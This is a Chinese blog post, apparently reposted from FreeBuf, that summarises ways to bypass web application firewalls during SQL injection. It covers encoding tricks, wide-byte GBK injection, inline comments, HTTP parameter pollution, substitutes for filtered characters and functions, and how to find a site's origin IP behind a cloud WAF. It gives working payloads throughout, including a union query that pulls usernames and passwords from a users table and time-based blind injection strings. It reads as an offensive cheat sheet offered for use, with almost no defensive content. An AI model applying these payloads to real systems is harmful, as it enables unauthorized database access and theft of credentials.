sql注入绕过WAF总结

前言

转载https://www.freebuf.com/articles/web/264593.html

基础绕过

1. 大小写绕过

用于过滤时没有匹配大小写的情况:

SeLECt * from table;

2. 双写绕过

用于将禁止的字符直接删除的情况:

比如,使用preg_replace()或者是str_replace()andorselectunion等关键词替换为空字符串。

这时,可以使用双写嵌套绕过,or写成oorrand写成aandndselect写成seselectlectunion写成uniunionon。在删除一个关键字后,剩下的部分又可以重新组合成完整的关键字。

3. 内联注释

内联注释的作用是增加SQL语句的可移植性。比如,将MySQL特有的语法使用内联注释的形式来编写,在这种情况下,MySQL可以正常的解析并执行内联注释中的代码,但是其它的SQL服务器则忽略内联注释中的内容。

/*! MySQL特有的语法 */

例如MySQL服务器可以在以下语句中识别STRAIGHT_JOIN关键字,而其他服务器则不能:

SELECT /*! STRAIGHT_JOIN*/ col1 FROM table1,table2 WHERE ...

如果在!后面添加版本号,则仅当MySQL版本大于或者等于指定的版本号时,才会执行注释中的语法。例如,以下注释中的关键字KEY_BLOCK_SIZE仅由MySQL 5.1.10或者更高版本的服务器执行:

CREATE TABLE t1(a INT, KEY (a)) /*!50110 KEY_BLOCK_SIZE=1024*/

/*! */类型的注释,内部语句会被执行

select bbb from table1 where aaa='' union /*! select database()*/;

可以用来绕过一些WAF,或者是绕过空格

但是,不能将关键词用注释分开,例如下面的语句是不可执行的(或者说只能在某些较老版本执行)

select bbb from table1 where balabala='' union se/*!lect database()*/;

4. 使用16进制绕过特定字符

如果在查询字段名的时候表名被过滤,或者是数据库中某些特定字符被过滤,则可以使用16进制绕过。

也可绕过引号

select column_name from information_schema.columns where table_name=0x7573657273;

0x7573657273为users的16进制编码

5. 宽字节、Latin1默认编码

宽字节注入

以下是常用的URL编码

ASCII值 URL编码
\ %5C
' %27
" %22
# %23
& %26

宽字节注入的利用条件

查询参数是被单引号包围的,传入的单引号又被转义符\转义,如在后台数据库中对接收的参数使用addslashes()mysql_real_escape_string()或者是其他转义函数

数据库的编码为GBK

概括的说,就是单引号被转义,但编码为GBK

利用方式

GET形式

id=-1%DF' union select 1,user(),3%23

在上述条件下,单引号'被转义为\',即%5c%27。如果我们在单引号前加上%df,就会构成%df%5c%27,而在GBK编码方式下,%df%5c是汉字"連",所以单引号成功逃逸。

如果是在请求体中,需要使用POST参数。使用Burp Suite抓取请求,然后在单引号(%27)之前添加%df

uname=%df%27 and 1=2 UNION SELECT 1,(SELECT GROUP_CONCAT(username,password SEPARATOR 0x3c62723e) FROM users) #&passwd=2

宽字节注入原理

MySQL在使用GBK编码时,会认为两个字符为一个汉字,例如%aa%5c就是一个汉字。因为转义方法主要就是在敏感字符前面添加反斜杠\,所以这里想办法去掉反斜杠即可。

%df`吃掉`\

其实这里第一个字符并不局限为%df,只要是在%aa%fe范围内都可以。具体原因是,urlencode(\')=%5c%27,我们在%5c%27前面添加%df,形成%df%5c%27,MySQL在GBK编码方式的时候,会将两个字节当做一个汉字,这个时候就把%df%5c当做是一个汉字%27则作为一个单独的符号'在外面,同时也就达到了我们的目的。

\'中的\过滤掉

例如可以构造%5c%5c%27的情况,后面的%5C会被前面的%5C给注释掉。这也是bypass的一种方法。

addslashes()函数返回在预定义字符之前添加反斜杠的字符串。

预定义字符 转义后
\ \\
' \'
" \"

该函数可用于为存储在数据库中的字符串以及数据库查询语句准备字符串。

在使用addslashes()时,我们需要将mysql_query设置为binary的方式,才能够防御此漏洞。

Latin1编码

Mysql表的编码默认为latin1,如果设置字符集为utf8,则存在一些latin1中有而utf8中没有的字符,而Mysql是如何处理这些字符的呢?直接忽略

于是我们可以输入?username=admin%c2,存储至表中就变为了admin

上面的%c2可以换为%c2-%ef之间的任意字符

6. 常用字符的替代

and -> &&
or -> ||
空格 -> /**/ -> %a0 -> %0a -> + -> ()
# -> -- + -> ;%00(php<=5.3.4) -> or '1'='1
= -> like -> regexp -> <> -> in
注意:regexp为正则匹配,利用正则会有些新的注入手段

注意,因为&是URL中不同参数之间的分隔符,所以,在前端中需要将&进行URL编码,编码为%26

过滤空格

使用preg_replace()或者str_replace()函数,将空白字符替换为空字符串。

过滤了空格,使用编码绕过。可以使用如下符号来替代:

符号 说明
%09 TAB键(水平)
%0a 新建一行
%0c 新的一页
%0d return功能
%0b TAB键(垂直)
%a0 空格

过滤注释

使用preg_replace()或者str_replace()函数,将多行注释/**/,单行注释--#替换为空字符串。

绕过方式:使用闭合绕过

7. HTTP参数污染

HTTP参数污染

由于没有相关的HTTP RFC定义HTTP参数操作的语义,因此每个Web应用程序可能会以不用的方式来处理多个相同名称的参数。

在单个HTTP请求中,攻击者使用多个具有相同名称的参数,将注入语句中的关键字拆分在每个参数的值中。

比如,index.php?par1=val1&par1=val2

下表是不同的Web服务器如何管理多次出现的同一参数。

HTTP后端 总体解析结果 例子
ASP.NET/IIS 特定参数所有内容进行拼接 par1=val1,val2
ASP/IIS 特定参数所有内容进行拼接 par1=val1,val2
PHP/Apache 最后一次出现的参数内容 par1=val2
PHP/Zeus 最后一次出现的参数内容 par1=val2
JSP,Servlet/Apache Tomcat 第一次出现的参数内容 par1=val1

当Web应用程序将多个参数的值拼接起来,就可以得到完整的注入语句。同时,如果WAF只单独检查每个参数的值,或者是将整个请求数据作为单个字符串处理,这样的安全机制将无法检测到HPP攻击。比如,ASP/IIS将重复出现的参数的值拼接起来。

下面是两个SQL注入的场景:"常规攻击"和"使用HPP攻击"。

“常规攻击”演示了prodID参数中的标准联合注入语句。这种攻击方式会被Web应用程序防火墙(WAF)轻松识别。第二次攻击在prodID参数上使用HPP。在这种情况下,prodID参数多次出现,而注入语句被拆分在每个prodID的值中。为了使WAF能够识别完整的注入语句,还需要将所有的输入拼接起来检查。

常规攻击:http://webApplication/showproducts.asp?prodID=9 UNION SELECT 1,2,3 FROM Users WHERE id=3 —

使用HPP攻击:http://webApplication/showproducts.asp?prodID=9 /*&prodID=*/UNION /*&prodID=*/SELECT 1 &prodID=2 &prodID=3 FROM /*&prodID=*/Users /*&prodID=*/ WHERE id=3 —

8. 逗号被过滤

用join代替

-1 union select 1,2,3
-1 union select * from (select 1)a join (select 2)b join (select 3)c%23

limit

limit 2,1
limit 1 offset 2

substr

select substr(database(),5,1)

select substr(database() from 5 for 1)from为从第几个字符开始,for为截取的长度

select substr(database() from 5)from 5表示从第5个字符开始截取

如果for也被过滤了

select mid(reverse(mid(database() from (-5)))from(-1))

if

select if(database()='xxx',sleep(3),1)
SELECT 1 and DATABASE()='security' and sleep(3)
select case when database()='xxx' then sleep(5) else 0 end

9. limit被过滤

select user from users limit 1

加限制条件

select user from users group by user_id having user_id=1(user_id是表中的一个列)

11. and、or、&&、||被过滤

可用运算符! ^ ~以及not xor来代替

12. 各个字符以及函数的代替

常用函数的替代

字符串截取/拼接函数:

摘自https://xz.aliyun.com/t/7169

函数 说明
SUBSTR(str,N_start,N_length) 对指定字符串进行截取,为SUBSTRING的简单版。
SUBSTRING() 多种格式SUBSTRING(str,pos)、SUBSTRING(str FROM pos)、SUBSTRING(str,pos,len)、SUBSTRING(str FROM pos FOR len)
RIGHT(str,len) 对指定字符串从最右边截取指定长度。
LEFT(str,len) 对指定字符串从最左边截取指定长度。
RPAD(str,len,padstr) str右方补齐len位的字符串padstr,返回新字符串。如果str长度大于len,则返回值的长度将缩减到len所指定的长度。
LPAD(str,len,padstr) 与RPAD相似,在str左边补齐。
MID(str,pos,len) 同于SUBSTRING(str,pos,len)
INSERT(str,pos,len,newstr) 在原始字符串str中,将自左数第pos位开始,长度为len个字符的字符串替换为新字符串newstr,然后返回经过替换后的字符串。INSERT(str,len,1,0x0)可当做截取函数。
CONCAT(str1,str2…) 函数用于将多个字符串合并为一个字符串
GROUP_CONCAT(…) 返回一个字符串结果,该结果由分组中的值连接组合而成。
MAKE_SET(bits,str1,str2,…) 根据参数1,返回所输入其他的参数值。可用作布尔盲注,如:EXP(MAKE_SET((LENGTH(DATABASE())>8)+1,'1','710'))

数字的代替:

使用truefalsepi()!floor~ceil()version()等数学运算函数的组合进行代替

函数/语句

说明

LENGTH(str) 返回字符串的长度。
PI() 返回π的具体数值。
REGEXP “statement” 正则匹配数据,返回值为布尔值。
LIKE “statement” 匹配数据,%代表任意内容。返回值为布尔值。
RLIKE “statement” 与regexp相同。
LOCATE(substr,str,[pos]) 返回子字符串第一次出现的位置。
POSITION(substr IN str) 等同于LOCATE()
LOWER(str) 将字符串的大写字母全部转成小写。同:LCASE(str)
UPPER(str) 将字符串的小写字母全部转成大写。同:UCASE(str)
ELT(N,str1,str2,str3,…) MAKE_SET(bit,str1,str2...)类似,根据N返回参数值。
NULLIF(expr1,expr2) 若expr1与expr2相同,则返回expr1,否则返回NULL。
CHARSET(str) 返回字符串使用的字符集。
DECODE(crypt_str,pass_str) 使用 pass_str 作为密码,解密加密字符串 crypt_str。加密函数:ENCODE(str,pass_str)

13 比较符号(<>)绕过(过滤了<>:sqlmap盲注经常使用<>,使用between的脚本)

使用greatest()、least():(前者返回最大值,后者返回最小值) 同样是在使用盲注的时候,在使用二分查找的时候需要使用到比较操作符来进行查找。如果无法使用比较操作符,那么就需要使用到greatest来进行绕过了。最常见的一个盲注的sql语句:

select * from users where id=1 and ascii(substr(database(),0,1))>64

此时如果比较操作符被过滤,上面的盲注语句则无法使用,那么就可以使用greatest来代替比较操作符了。greatest(n1,n2,n3,...)函数返回输入参数(n1,n2,n3,...)的最大值。那么上面的这条sql语句可以使用greatest变为如下的子句:

select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64

使用between and:between a and b:返回a,b之间的数据,不包含b。

14.寻找网站源IP

对于具有云WAF防护的网站,只要找到网站的IP地址,通过IP访问网站,就可以绕过云WAF检测。

常见的寻找网站IP的方法由以下几种

  • 寻找网站的历史解析记录
  • 多个不同区域ping网站,查看IP解析的结果
  • 找网站的二级域名、NS、MX记录等对应的IP
  • 订阅网站邮件,查看邮件发送方的IP

参考:

https://cloud.tencent.com/developer/article/1849607

[针对具体函数的绕过攻略]https://www.anquanke.com/post/id/86005

posted @ 2022-02-06 15:21  kzd的前沿思考  阅读(458)  评论(0编辑  收藏  举报